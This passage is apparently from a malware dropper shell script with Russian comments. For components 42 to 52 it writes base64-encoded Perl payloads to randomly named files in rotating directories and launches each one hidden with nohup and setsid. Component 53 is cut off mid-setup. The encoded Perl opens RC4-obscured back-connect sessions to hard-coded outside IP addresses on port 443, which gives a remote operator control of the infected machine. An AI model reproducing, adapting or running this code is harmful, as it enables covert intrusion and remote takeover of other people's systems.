KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #42 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #42 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 43 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJI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
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #43 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #43 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 44 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIH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idWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #44 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #44 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 45 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2V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QgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #45 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #45 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 46 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQ0Mz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kJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #46 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #46 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 47 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g
MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKC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wb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #47 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #47 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 48 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrK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gNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #48 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #48 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 49 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$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-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #49 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #49 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 50 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdW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kYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #50 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #50 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 51 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=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DsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0
OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #51 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #51 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 52 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA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ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #52 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #52 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 53 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
